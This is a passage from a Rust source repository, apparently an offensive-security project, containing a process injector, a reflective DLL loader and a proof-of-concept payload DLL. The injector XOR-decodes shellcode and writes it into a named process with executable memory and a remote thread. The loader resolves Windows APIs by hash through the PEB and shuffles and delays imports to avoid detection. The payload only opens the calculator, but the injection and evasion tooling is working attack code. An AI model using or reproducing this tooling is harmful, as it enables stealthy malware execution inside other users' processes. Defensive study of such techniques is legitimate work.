*mut IMAGE_EXPORT_DIRECTORY; 316 | 317 | let export_names = from_raw_parts( 318 | rva_to_offset( 319 | base_ptr as _, 320 | &*nt_header_ptr, 321 | (*export_dir_ptr).AddressOfNames, 322 | )? as *const u32, 323 | (*export_dir_ptr).NumberOfNames as _, 324 | ); 325 | 326 | let export_functions = from_raw_parts( 327 | rva_to_offset( 328 | base_ptr as _, 329 | &*nt_header_ptr, 330 | (*export_dir_ptr).AddressOfFunctions, 331 | )? as *const u32, 332 | (*export_dir_ptr).NumberOfFunctions as _, 333 | ); 334 | 335 | let export_ordinals = from_raw_parts( 336 | rva_to_offset( 337 | base_ptr as _, 338 | &*nt_header_ptr, 339 | (*export_dir_ptr).AddressOfNameOrdinals, 340 | )? as *const u16, 341 | (*export_dir_ptr).NumberOfNames as _, 342 | ); 343 | 344 | for i in 0..(*export_dir_ptr).NumberOfNames as usize { 345 | let export_name = 346 | rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i])? as *const i8; 347 | 348 | if let Ok(export_name) = CStr::from_ptr(export_name).to_str() { 349 | let export_ordinal = export_ordinals[i] as usize; 350 | exports.insert( 351 | export_name.to_string(), 352 | rva_to_offset( 353 | base_ptr as _, 354 | &*nt_header_ptr, 355 | export_functions[export_ordinal], 356 | )?, 357 | ); 358 | } 359 | } 360 | 361 | Ok(exports) 362 | } 363 | 364 | fn rva_mut(base_ptr: *mut u8, rva: usize) -> *mut T { 365 | (base_ptr as usize + rva) as *mut T 366 | } 367 | 368 | unsafe fn rva_to_offset( 369 | base: usize, 370 | nt_header_ref: &IMAGE_NT_HEADERS64, 371 | mut rva: u32, 372 | ) -> Result> { 373 | let section_header_ptr = rva_mut::( 374 | &nt_header_ref.OptionalHeader as *const _ as _, 375 | nt_header_ref.FileHeader.SizeOfOptionalHeader as _, 376 | ); 377 | let section_count = nt_header_ref.FileHeader.NumberOfSections; 378 | 379 | for i in 0..section_count as usize { 380 | let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress; 381 | let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize; 382 | 383 | // check if the rva is within the current section 384 | if virtual_addr <= rva && virtual_addr + virtual_size > rva { 385 | // adjust the rva to be relative to the start of the section in the file 386 | rva -= (*section_header_ptr.add(i)).VirtualAddress; 387 | rva += (*section_header_ptr.add(i)).PointerToRawData; 388 | 389 | return Ok(base + rva as usize); 390 | } 391 | } 392 | 393 | Err(format!("failed to find section for RVA {:#x}", rva).into()) 394 | } 395 | -------------------------------------------------------------------------------- /injector/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "poc-injector" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | lexopt = "0.3.0" 8 | airborne-common = { path = "../common" } 9 | 10 | [dependencies.windows-sys] 11 | version = "0.52.0" 12 | features = [ 13 | "Win32_Foundation", 14 | "Win32_System_Memory", 15 | "Win32_System_Diagnostics_ToolHelp", 16 | ] 17 | -------------------------------------------------------------------------------- /injector/src/inject.rs: -------------------------------------------------------------------------------- 1 | use std::{error::Error, mem::transmute, ptr::null_mut}; 2 | 3 | use windows_sys::Win32::{ 4 | Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, 5 | System::{ 6 | Diagnostics::Debug::WriteProcessMemory, 7 | Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, 8 | Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}, 9 | }, 10 | }; 11 | 12 | pub unsafe fn inject(pid: u32, dll_vec: Vec) -> Result<(), Box> { 13 | let dll_len = dll_vec.len(); 14 | 15 | let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); 16 | 17 | if h_process == INVALID_HANDLE_VALUE { 18 | return Err(format!("failed to open process {}", pid).into()); 19 | } 20 | 21 | let base_addr_ptr = VirtualAllocEx( 22 | h_process, 23 | null_mut(), 24 | dll_len, 25 | MEM_COMMIT | MEM_RESERVE, 26 | PAGE_EXECUTE_READWRITE, 27 | ); 28 | 29 | if base_addr_ptr.is_null() { 30 | return Err(format!("failed to allocate memory into process {}", pid).into()); 31 | } 32 | 33 | println!("[+] allocated memory at {:p}", base_addr_ptr); 34 | 35 | if WriteProcessMemory( 36 | h_process, 37 | base_addr_ptr, 38 | dll_vec.as_ptr() as _, 39 | dll_len, 40 | null_mut(), 41 | ) == 0 42 | { 43 | return Err(format!("failed to write process memory into process {}", pid).into()); 44 | } 45 | 46 | let h_thread = CreateRemoteThread( 47 | h_process, 48 | null_mut(), 49 | 0, 50 | Some(transmute(base_addr_ptr as usize)), 51 | null_mut(), 52 | 0, 53 | null_mut(), 54 | ); 55 | 56 | if h_thread == INVALID_HANDLE_VALUE { 57 | return Err(format!("failed to create remote thread into process {}", pid).into()); 58 | } 59 | 60 | CloseHandle(h_thread); 61 | CloseHandle(h_process); 62 | 63 | Ok(()) 64 | } 65 | -------------------------------------------------------------------------------- /injector/src/main.rs: -------------------------------------------------------------------------------- 1 | mod inject; 2 | mod process; 3 | 4 | use std::{fs, path::PathBuf, process::exit}; 5 | 6 | use lexopt::Arg::{Long, Short}; 7 | 8 | #[derive(Debug)] 9 | struct Args { 10 | procname: String, 11 | shellcode_path: PathBuf, 12 | keyfile_path: PathBuf, 13 | offset: usize, 14 | } 15 | 16 | fn main() { 17 | let args = parse_args(); 18 | let proc_id = unsafe { 19 | match process::iterate_procs(&args.procname) { 20 | Ok(Some(pid)) => pid, 21 | Ok(None) => { 22 | println!("[!] process with name {} not found", args.procname); 23 | exit(1); 24 | } 25 | Err(e) => { 26 | println!("[!] error during process iteration: {}", e); 27 | exit(1); 28 | } 29 | } 30 | }; 31 | 32 | let mut shellcode = match fs::read(&args.shellcode_path) { 33 | Ok(shellcode) => shellcode, 34 | Err(e) => { 35 | println!("[!] failed to read shellcode: {}", e); 36 | exit(1); 37 | } 38 | }; 39 | 40 | let keyfile = match fs::read(&args.keyfile_path) { 41 | Ok(keyfile) => keyfile, 42 | Err(e) => { 43 | println!("[!] failed to read xor keyfile: {}", e); 44 | exit(1); 45 | } 46 | }; 47 | 48 | if args.offset >= shellcode.len() { 49 | println!("[!] offset is greater or equal than shellcode length"); 50 | exit(1); 51 | } 52 | 53 | println!("[+] xor'ing shellcode"); 54 | airborne_common::xor_cipher(&mut shellcode, &keyfile); 55 | 56 | println!("[+] injecting shellcode into {}", args.procname); 57 | unsafe { 58 | match inject::inject(proc_id, shellcode) { 59 | Ok(_) => println!("[+] done"), 60 | Err(e) => println!("[!] failure during injection: {}", e), 61 | } 62 | }; 63 | } 64 | 65 | fn parse_args() -> Args { 66 | let mut args = Args { 67 | procname: String::new(), 68 | shellcode_path: PathBuf::new(), 69 | keyfile_path: PathBuf::new(), 70 | offset: 0, 71 | }; 72 | 73 | let mut parser = lexopt::Parser::from_env(); 74 | 75 | while let Some(arg) = parser.next().expect("failed to parse arguments") { 76 | match arg { 77 | Short('p') => { 78 | args.procname = parser 79 | .value() 80 | .expect("failed to parse process name") 81 | .into_string() 82 | .expect("failed to convert process name into String"); 83 | } 84 | Short('s') => { 85 | args.shellcode_path = parser 86 | .value() 87 | .expect("failed to parse shellcode path") 88 | .into(); 89 | } 90 | Short('k') => { 91 | args.keyfile_path = parser.value().expect("failed to parse keyfile path").into(); 92 | } 93 | Short('h') | Long("help") => { 94 | print_usage(); 95 | exit(0); 96 | } 97 | _ => { 98 | println!("[!] invalid argument: {:?}", arg); 99 | print_usage(); 100 | exit(1); 101 | } 102 | } 103 | } 104 | 105 | if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() { 106 | println!("[!] missing or invalid argument(s)"); 107 | print_usage(); 108 | exit(1); 109 | } 110 | 111 | args 112 | } 113 | 114 | fn print_usage() { 115 | println!("Usage: poc-injector.exe -p -s -k "); 116 | } 117 | -------------------------------------------------------------------------------- /injector/src/process.rs: -------------------------------------------------------------------------------- 1 | use std::{error::Error, ffi::CStr}; 2 | 3 | use windows_sys::Win32::{ 4 | Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, 5 | System::Diagnostics::ToolHelp::{ 6 | CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, 7 | }, 8 | }; 9 | 10 | fn snapshot() -> Result> { 11 | let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; 12 | 13 | if snapshot == INVALID_HANDLE_VALUE { 14 | return Err("failed to create toolhelp snapshot".into()); 15 | } 16 | 17 | Ok(snapshot) 18 | } 19 | 20 | unsafe fn first_proc_entry(snapshot: isize) -> Result> { 21 | let mut pe: PROCESSENTRY32 = std::mem::zeroed(); 22 | pe.dwSize = std::mem::size_of::() as _; 23 | 24 | if Process32First(snapshot, &mut pe) == 0 { 25 | CloseHandle(snapshot); 26 | return Err("failed to get first process entry".into()); 27 | } 28 | 29 | Ok(pe) 30 | } 31 | 32 | pub unsafe fn iterate_procs(target_name: &str) -> Result, Box> { 33 | let snapshot = snapshot()?; 34 | let mut pe = first_proc_entry(snapshot)?; 35 | 36 | loop { 37 | let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _) 38 | .to_string_lossy() 39 | .into_owned(); 40 | 41 | if proc_name.to_lowercase() == target_name.to_lowercase() { 42 | let pid = pe.th32ProcessID; 43 | println!("[+] {}: {}", pid, proc_name); 44 | CloseHandle(snapshot); 45 | 46 | return Ok(Some(pid)); 47 | } 48 | 49 | if Process32Next(snapshot, &mut pe) == 0 { 50 | break; 51 | } 52 | } 53 | 54 | CloseHandle(snapshot); 55 | 56 | Ok(None) 57 | } 58 | -------------------------------------------------------------------------------- /payload/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "poc-payload" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | crate-type = ["cdylib"] 8 | 9 | [dependencies] 10 | 11 | [dependencies.windows-sys] 12 | version = "0.52.0" 13 | features = [ 14 | "Win32_Foundation", 15 | "Win32_Security", 16 | "Win32_UI_Shell", 17 | "Win32_UI_WindowsAndMessaging" 18 | ] 19 | -------------------------------------------------------------------------------- /payload/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::{ffi::c_void, ptr::null_mut, slice::from_raw_parts, str::from_utf8}; 2 | 3 | use windows_sys::{ 4 | w, 5 | Win32::{ 6 | Foundation::HMODULE, 7 | System::SystemServices::DLL_PROCESS_ATTACH, 8 | UI::{ 9 | Shell::ShellExecuteW, 10 | WindowsAndMessaging::{MessageBoxW, MB_OK}, 11 | }, 12 | }, 13 | }; 14 | 15 | #[no_mangle] 16 | #[allow(non_snake_case)] 17 | pub unsafe extern "system" fn DllMain(_module: HMODULE, reason: u32, _reserved: *mut u8) -> bool { 18 | if reason == DLL_PROCESS_ATTACH { 19 | ShellExecuteW(0, w!("open"), w!("calc.exe"), null_mut(), null_mut(), 0); 20 | } 21 | 22 | true 23 | } 24 | 25 | #[no_mangle] 26 | #[allow(non_snake_case)] 27 | unsafe fn PrintMessage(user_data_ptr: *mut c_void, user_data_len: u32) { 28 | let udata_slice = from_raw_parts(user_data_ptr as *const u8, user_data_len as usize); 29 | 30 | // TODO: switch to no_std environment, wstr can be created from u8 by utilizing udata_len as array length 31 | 32 | let mut user_text_wstr = from_utf8(udata_slice) 33 | .unwrap() 34 | .encode_utf16() // must be UTF-16 for MessageBoxW 35 | .collect::>(); 36 | user_text_wstr.push(0); // null-termination 37 | 38 | MessageBoxW(0, user_text_wstr.as_ptr() as _, w!("Hello World!"), MB_OK); 39 | } 40 | -------------------------------------------------------------------------------- /reflective_loader/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "reflective-loader" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | crate-type = ["cdylib"] 8 | 9 | [dependencies] 10 | airborne-common = { path = "../common" } 11 | 12 | [dependencies.windows-sys] 13 | version = "0.52.0" 14 | features = [ 15 | "Win32_Foundation", 16 | "Win32_System_Kernel", 17 | "Win32_System_Threading", 18 | "Win32_System_WindowsProgramming", 19 | "Win32_Security_Cryptography" 20 | ] 21 | -------------------------------------------------------------------------------- /reflective_loader/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | 3 | mod memory; 4 | 5 | use core::{ 6 | arch::asm, 7 | ffi::c_void, 8 | mem::{size_of, transmute}, 9 | ptr::null_mut, 10 | slice::from_raw_parts, 11 | }; 12 | 13 | use airborne_common::Flags; 14 | use windows_sys::{ 15 | core::PWSTR, 16 | Win32::{ 17 | Foundation::{BOOL, HMODULE, STATUS_SUCCESS}, 18 | Security::Cryptography::BCRYPT_RNG_ALG_HANDLE, 19 | System::{ 20 | Diagnostics::Debug::{ 21 | IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC, 22 | IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64, 23 | IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, 24 | IMAGE_SECTION_HEADER, 25 | }, 26 | Memory::{ 27 | MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, 28 | PAGE_EXECUTE_WRITECOPY, PAGE_NOACCESS, PAGE_READONLY, PAGE_READWRITE, 29 | PAGE_WRITECOPY, 30 | }, 31 | SystemServices::{ 32 | DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, 33 | IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, 34 | IMAGE_NT_SIGNATURE, IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64, 35 | IMAGE_REL_BASED_HIGHLOW, 36 | }, 37 | Threading::{PEB, TEB}, 38 | WindowsProgramming::IMAGE_THUNK_DATA64, 39 | }, 40 | }, 41 | }; 42 | 43 | use crate::memory::*; 44 | 45 | const MAX_IMPORT_DELAY_MS: u64 = 2000; 46 | 47 | #[cfg(not(test))] 48 | #[panic_handler] 49 | fn panic(_info: &core::panic::PanicInfo) -> ! { 50 | loop {} 51 | } 52 | 53 | #[no_mangle] 54 | #[allow(non_snake_case, clippy::missing_safety_doc)] 55 | pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL { 56 | 1 57 | } 58 | 59 | #[link_section = ".text"] 60 | #[no_mangle] 61 | #[allow(clippy::missing_safety_doc)] 62 | pub unsafe extern "system" fn loader( 63 | payload_dll: *mut c_void, 64 | function_hash: u32, 65 | user_data: *mut c_void, 66 | user_data_len: u32, 67 | _shellcode_bin: *mut c_void, 68 | flags: u32, 69 | ) { 70 | let flags = airborne_common::parse_u32_flag(flags); 71 | 72 | /* 73 | 1.) locate the required functions and modules from exports with their hashed names 74 | */ 75 | 76 | let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap(); 77 | let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap(); 78 | let bcrypt_base_ptr = get_module_ptr(BCRYPT_DLL).unwrap(); 79 | 80 | if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() || bcrypt_base_ptr.is_null() { 81 | return; 82 | } 83 | 84 | let far_procs = get_export_ptrs(kernel32_base_ptr, bcrypt_base_ptr).unwrap(); 85 | 86 | /* 87 | 2.) load the target image to a newly allocated permanent memory location with RW permissions 88 | */ 89 | 90 | let module_base_ptr = payload_dll as *mut u8; 91 | 92 | if module_base_ptr.is_null() { 93 | return; 94 | } 95 | 96 | let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER; 97 | let module_nt_headers_ptr = (module_base_ptr as usize 98 | + (*module_dos_header_ptr).e_lfanew as usize) 99 | as *mut IMAGE_NT_HEADERS64; 100 | let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize; 101 | let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void; 102 | let base_addr_ptr = 103 | allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap(); 104 | 105 | copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr); 106 | 107 | /* 108 | 3.) process the image relocations (assumes the image couldn't be loaded to the preferred base address) 109 | */ 110 | 111 | let data_dir_slice = (*module_nt_headers_ptr).OptionalHeader.DataDirectory; 112 | let relocation_ptr: *mut IMAGE_BASE_RELOCATION = rva_mut( 113 | base_addr_ptr as _, 114 | data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize, 115 | ); 116 | 117 | if relocation_ptr.is_null() { 118 | return; 119 | } 120 | 121 | process_relocations( 122 | base_addr_ptr, 123 | module_nt_headers_ptr, 124 | relocation_ptr, 125 | &data_dir_slice, 126 | ); 127 | 128 | /* 129 | 4.) resolve the imports by patching the Import Address Table (IAT) 130 | */ 131 | 132 | let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut( 133 | base_addr_ptr as _, 134 | data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize, 135 | ); 136 | 137 | if import_descriptor_ptr.is_null() { 138 | return; 139 | } 140 | 141 | patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags); 142 | 143 | /* 144 | 5.) finalize the sections by setting protective permissions after mapping the image 145 | */ 146 | 147 | finalize_relocations(base_addr_ptr, module_nt_headers_ptr, &far_procs); 148 | 149 | /* 150 | 6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator 151 | */ 152 | 153 | if flags.ufn { 154 | // UserFunction address = base address + RVA of user function 155 | let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap(); 156 | 157 | #[allow(non_snake_case)] 158 | let UserFunction = transmute::<_, UserFunction>(user_fn_addr); 159 | 160 | // execution with user data passed into the shellcode by the generator 161 | UserFunction(user_data, user_data_len); 162 | } else { 163 | let dll_main_addr = base_addr_ptr as usize 164 | + (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize; 165 | 166 | #[allow(non_snake_case)] 167 | let DllMain = transmute::<_, DllMain>(dll_main_addr); 168 | 169 | DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _); 170 | } 171 | } 172 | 173 | unsafe fn get_export_ptrs( 174 | kernel32_base_ptr: *mut u8, 175 | bcrypt_base_ptr: *mut u8, 176 | ) -> Option { 177 | let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap(); 178 | let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap(); 179 | let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap(); 180 | let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap(); 181 | let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap(); 182 | let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap(); 183 | let bcrypt_genrandom_addr = get_export_addr(bcrypt_base_ptr, BCRYPT_GEN_RANDOM).unwrap(); 184 | 185 | if loadlib_addr == 0 186 | || getproc_addr == 0 187 | || virtualalloc_addr == 0 188 | || virtualprotect_addr == 0 189 | || flushcache_addr == 0 190 | { 191 | return None; 192 | } 193 | 194 | #[allow(non_snake_case)] 195 | let LoadLibraryA: LoadLibraryA = transmute(loadlib_addr); 196 | 197 | #[allow(non_snake_case)] 198 | let GetProcAddress: GetProcAddress = transmute(getproc_addr); 199 | 200 | #[allow(non_snake_case)] 201 | let VirtualAlloc: VirtualAlloc = transmute(virtualalloc_addr); 202 | 203 | #[allow(non_snake_case)] 204 | let VirtualProtect: VirtualProtect = transmute(virtualprotect_addr); 205 | 206 | #[allow(non_snake_case)] 207 | let FlushInstructionCache: FlushInstructionCache = transmute(flushcache_addr); 208 | 209 | #[allow(non_snake_case)] 210 | let Sleep: Sleep = transmute(sleep_addr); 211 | 212 | #[allow(non_snake_case)] 213 | let BCryptGenRandom: BCryptGenRandom = transmute(bcrypt_genrandom_addr); 214 | 215 | Some(FarProcs { 216 | LoadLibraryA, 217 | GetProcAddress, 218 | VirtualAlloc, 219 | VirtualProtect, 220 | FlushInstructionCache, 221 | Sleep, 222 | BCryptGenRandom, 223 | }) 224 | } 225 | 226 | #[link_section = ".text"] 227 | unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> { 228 | // first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY 229 | // InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro 230 | let peb_ptr = get_peb_ptr(); 231 | let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA; 232 | let mut table_entry_ptr = 233 | (*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; 234 | 235 | while !(*table_entry_ptr).DllBase.is_null() { 236 | let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer; 237 | let name_len = (*table_entry_ptr).BaseDllName.Length as usize; 238 | let name_slice_buf = from_raw_parts(transmute::(name_buf_ptr), name_len); 239 | 240 | // calculate the module hash and compare it 241 | if module_hash == airborne_common::calc_hash(name_slice_buf) { 242 | return Some((*table_entry_ptr).DllBase as _); 243 | } 244 | 245 | table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; 246 | } 247 | 248 | None 249 | } 250 | 251 | #[link_section = ".text"] 252 | unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> { 253 | let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER; 254 | 255 | if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { 256 | return None; 257 | } 258 | 259 | let nt_headers_ptr = 260 | (module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; 261 | 262 | if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE { 263 | return None; 264 | } 265 | 266 | Some(nt_headers_ptr) 267 | } 268 | 269 | #[link_section = ".text"] 270 | unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option { 271 | // NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses 272 | let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap(); 273 | let export_dir_ptr = (module_base_ptr as usize 274 | + (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] 275 | .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; 276 | 277 | let names = from_raw_parts( 278 | (module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32, 279 | (*export_dir_ptr).NumberOfNames as _, 280 | ); 281 | let funcs = from_raw_parts( 282 | (module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32, 283 | (*export_dir_ptr).NumberOfFunctions as _, 284 | ); 285 | let ords = from_raw_parts( 286 | (module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16, 287 | (*export_dir_ptr).NumberOfNames as _, 288 | ); 289 | 290 | // compare hashes iteratively for each entry 291 | for i in 0..(*export_dir_ptr).NumberOfNames { 292 | let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8; 293 | let name_len = get_cstr_len(name_ptr as _); 294 | let name_slice = from_raw_parts(name_ptr as _, name_len); 295 | 296 | if function_hash == airborne_common::calc_hash(name_slice) { 297 | return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize); 298 | } 299 | } 300 | 301 | None 302 | } 303 | 304 | #[link_section = ".text"] 305 | unsafe fn allocate_rw_memory( 306 | preferred_base_ptr: *mut c_void, 307 | alloc_size: usize, 308 | far_procs: &FarProcs, 309 | ) -> Option<*mut c_void> { 310 | let mut base_addr_ptr = (far_procs.VirtualAlloc)( 311 | preferred_base_ptr, 312 | alloc_size, 313 | MEM_RESERVE | MEM_COMMIT, 314 | PAGE_READWRITE, 315 | ); 316 | 317 | // fallback: attempt to allocate at any address if preferred address is unavailable 318 | if base_addr_ptr.is_null() { 319 | base_addr_ptr = (far_procs.VirtualAlloc)( 320 | null_mut(), 321 | alloc_size, 322 | MEM_RESERVE | MEM_COMMIT, 323 | PAGE_READWRITE, 324 | ); 325 | } 326 | 327 | if base_addr_ptr.is_null() { 328 | return None; 329 | } 330 | 331 | Some(base_addr_ptr) 332 | } 333 | 334 | #[link_section = ".text"] 335 | unsafe fn copy_pe( 336 | new_base_ptr: *mut c_void, 337 | old_base_ptr: *mut u8, 338 | nt_headers_ptr: *mut IMAGE_NT_HEADERS64, 339 | ) { 340 | let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize 341 | + (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize) 342 | as *mut IMAGE_SECTION_HEADER; 343 | 344 | // PE sections one by one 345 | for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections { 346 | let header_i_ref = &*(section_header_ptr.add(i as usize)); 347 | 348 | let dst_ptr = new_base_ptr 349 | .cast::() 350 | .add(header_i_ref.VirtualAddress as usize); 351 | let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8; 352 | let raw_size = header_i_ref.SizeOfRawData as usize; 353 | 354 | let src_data_slice = from_raw_parts(src_ptr, raw_size); 355 | 356 | (0..raw_size).for_each(|x| { 357 | let src = src_data_slice[x]; 358 | let dst = dst_ptr.add(x); 359 | *dst = src; 360 | }); 361 | } 362 | 363 | // PE headers 364 | for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders { 365 | let dst = new_base_ptr as *mut u8; 366 | let src = old_base_ptr as *const u8; 367 | 368 | *dst.add(i as usize) = *src.add(i as usize); 369 | } 370 | } 371 | 372 | #[link_section = ".text"] 373 | unsafe fn process_relocations( 374 | base_addr_ptr: *mut c_void, 375 | nt_headers_ptr: *mut IMAGE_NT_HEADERS64, 376 | mut relocation_ptr: *mut IMAGE_BASE_RELOCATION, 377 | data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16], 378 | ) { 379 | let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize; 380 | 381 | // upper bound prevents accessing memory past the end of the relocation data 382 | let relocation_end = relocation_ptr as usize 383 | + data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize; 384 | 385 | while (*relocation_ptr).VirtualAddress != 0 386 | && ((*relocation_ptr).VirtualAddress as usize) <= relocation_end 387 | && (*relocation_ptr).SizeOfBlock != 0 388 | { 389 | // relocation address, first entry, and number of entries in the whole block 390 | let addr = rva::( 391 | base_addr_ptr as _, 392 | (*relocation_ptr).VirtualAddress as usize, 393 | ) as isize; 394 | let item = rva::(relocation_ptr as _, size_of::()); 395 | let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::()) 396 | / size_of::(); 397 | 398 | for i in 0..count { 399 | // high bits -> type, low bits -> offset 400 | let type_field = (item.add(i).read() >> 12) as u32; 401 | let offset = item.add(i).read() & 0xFFF; 402 | 403 | match type_field { 404 | IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => { 405 | *((addr + offset as isize) as *mut isize) += delta; 406 | } 407 | _ => {} 408 | } 409 | } 410 | 411 | relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize); 412 | } 413 | } 414 | 415 | #[link_section = ".text"] 416 | unsafe fn patch_iat( 417 | base_addr_ptr: *mut c_void, 418 | mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR, 419 | far_procs: &FarProcs, 420 | flags: &Flags, 421 | ) -> BOOL { 422 | /* 423 | 1.) shuffle Import Directory Table entries (image import descriptors) 424 | 2.) delay the relocation of each import a random duration 425 | 3.) conditional execution based on ordinal/name 426 | 4.) indirect function call via pointer 427 | */ 428 | 429 | let mut id_ptr = import_descriptor_ptr; 430 | let mut import_count = 0; 431 | 432 | while (*id_ptr).Name != 0 { 433 | import_count += 1; 434 | id_ptr = id_ptr.add(1); 435 | } 436 | 437 | let id_ptr = import_descriptor_ptr; 438 | 439 | if import_count > 1 && flags.shuffle { 440 | // Fisher-Yates shuffle 441 | for i in 0..import_count - 1 { 442 | let rn = match get_random(far_procs) { 443 | Some(rn) => rn, 444 | None => return 0, 445 | }; 446 | 447 | let gap = import_count - i; 448 | let j_u64 = i + (rn % gap); 449 | let j = j_u64.min(import_count - 1); 450 | 451 | id_ptr.offset(j as _).swap(id_ptr.offset(i as _)); 452 | } 453 | } 454 | 455 | while (*import_descriptor_ptr).Name != 0x0 { 456 | let module_name_ptr = rva::(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize); 457 | 458 | if module_name_ptr.is_null() { 459 | return 0; 460 | } 461 | 462 | let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _); 463 | 464 | if module_handle == 0 { 465 | return 0; 466 | } 467 | 468 | if flags.delay { 469 | // skip delay if winapi call fails 470 | let rn = get_random(far_procs).unwrap_or(0); 471 | let delay = rn % MAX_IMPORT_DELAY_MS; 472 | (far_procs.Sleep)(delay as _); 473 | } 474 | 475 | // RVA of the IAT via either OriginalFirstThunk or FirstThunk 476 | let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if 